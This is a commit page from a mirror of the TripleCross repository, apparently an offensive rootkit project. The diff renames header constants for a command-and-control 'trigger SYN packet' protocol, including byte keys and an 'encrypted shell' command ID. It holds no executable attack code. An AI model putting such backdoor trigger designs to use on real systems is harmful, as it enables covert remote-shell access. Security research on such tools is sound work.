mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-27 03:43:09 +08:00
Fixed keys of trigger packet V1, added sample servers, fixed client bug
This commit is contained in:
@@ -13,7 +13,8 @@
|
||||
#define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_1 "\x56\xA4"
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_2 "\x78\x13"
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_3 "\x1F\x29"
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_3_ENCRYPTED_SHELL "\x1F\x29"
|
||||
|
||||
#define CC_TRIGGER_SYN_PACKET_SECTION_LEN 0x02
|
||||
|
||||
|
||||
|
||||
@@ -2,13 +2,7 @@
|
||||
#define __PROTOCOL_H
|
||||
|
||||
//V1
|
||||
|
||||
//Value added to K3 to define command to send
|
||||
#define CC_PROT_K3_TOTAL_DEFINED_KEYS_V1 1
|
||||
#define CC_PROT_K3_ENCRYPTED_SHELL_TRIGGER_V1 0x00
|
||||
|
||||
|
||||
|
||||
#define CC_PROT_COMMAND_ENCRYPTED_SHELL 0
|
||||
|
||||
//V2
|
||||
struct trigger_t {
|
||||
|
||||
Reference in New Issue
Block a user